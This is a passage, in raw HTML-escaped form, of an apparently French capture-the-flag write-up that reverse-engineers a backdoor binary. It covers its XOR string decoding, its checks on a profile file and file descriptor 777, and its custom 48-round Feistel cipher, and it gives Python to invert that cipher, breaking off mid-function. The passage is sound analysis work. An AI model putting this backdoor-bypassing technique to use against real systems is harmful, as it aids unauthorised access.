    &lt;span class="n"&gt;outpt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&lt;/span&gt;
    &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;24&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)):&lt;/span&gt;
        &lt;span class="n"&gt;outpt&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
        &lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;52&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;243&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;outpt&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Il regarde ensuite si le fichier &lt;code&gt;/home/anon/.profile&lt;/code&gt; existe, et sort de la backdoor le cas échéant. Puis la backdoor essaie de lire 32 octets depuis &lt;code&gt;/proc/self/fd/777&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;On va enfin rentrer dans des trucs sympas, des trucs de hacker quoi.&lt;/p&gt;
&lt;h2&gt;Chiffrement "custom" et réseau de Feistel&lt;/h2&gt;
&lt;p&gt;Le contenu de &lt;code&gt;/proc/self/fd/777&lt;/code&gt; est modifié par un algorithme de chiffrement inconnu, dont le résultat est comparé à une constante. L'algorithme décompilé ressemble à ça:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mysterious_array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xE9B554BCBF7A0351LL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;mysterious_array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x200A845B757AFF88LL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;mysterious_array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x392848A34339A3EELL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;mysterious_array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x21F8E1C664355C7CLL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;strlen&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;buffd&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;bufread&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;buffd&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="c1"&gt;// snipped some uninteresting parts&lt;/span&gt;
&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;0L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;strlen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bufread&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;seed1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;bufread&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;seed2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;bufread&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;watconst2&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1361583988&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;watconst2&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-1740780829&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;watconst2&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-1681248625&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;watconst2&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;-1992688973&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;j_1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;seed1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;watconst2&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;j_1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;seed2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;j_1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(((&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;seed2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;seed2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;j_1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;seed1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;seed2&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;j_1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;seed2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;8L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mysterious_array&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;v17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;seed2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;print_free&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;watconst&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;shell.c&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mf"&gt;563L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LABEL_10&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;En regardant la comparaison à la fin &lt;code&gt;mysterious_array[v17 / 8] != (seed2 &amp;lt;&amp;lt; 32) + v14&lt;/code&gt;, on voit que les 32 octets de poids fort ne sont pas touchés par l'algorithme de chiffrement, tandis que les 32 octets de poids faible sont un calcul fait à partir du numéro de round, et des 32 octets de poids fort.&lt;/p&gt;
&lt;p&gt;Cet algorithme fait en réalité 48 tours de l'algo ci-dessous:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;do_feistel_pass&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;seed1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;seed2&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;tmp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;seed1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;watconst&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;seed2&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;seed2&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;seed2&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0xffffffff&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0xffffffff&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;seed2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Finalement, on obtient:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;encrypt_data&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;seed1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;seed2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;unpack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;lt;II&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;48&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;seed1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;seed2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;do_feistel_pass&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;seed1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;seed2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;seed1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;seed2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Comme on connaît le "seed2" final, on peut trouver l'algo de déchiffrement. On pourra l'appliquer à "mysterious_array" pour retrouver le texte en clair. Il s'agit d'un classique &lt;a href="https://fr.wikipedia.org/wiki/R%C3%A9seau_de_Feistel"&gt;réseau de Feistel&lt;/a&gt;. On devra juste faire attention aux additions qui ont pu être "tronquées" sur 32 bits lors du chiffrement.&lt;/p&gt;
&lt;p&gt;La fonction pour déchiffrer ressemblera donc à ceci:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;undo_feistel_pass&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;seed2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;blup&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;watconst&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;seed2&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;seed2&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;seed2&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0xffffffff&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="n"&gt;pass1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tmp&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;blup&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;pass1&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;break&lt;/span&gt;
        &lt;span class="n"&gt;tmp&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mh"&gt;0x100000000&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pass1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;seed2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;decrypt_data&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
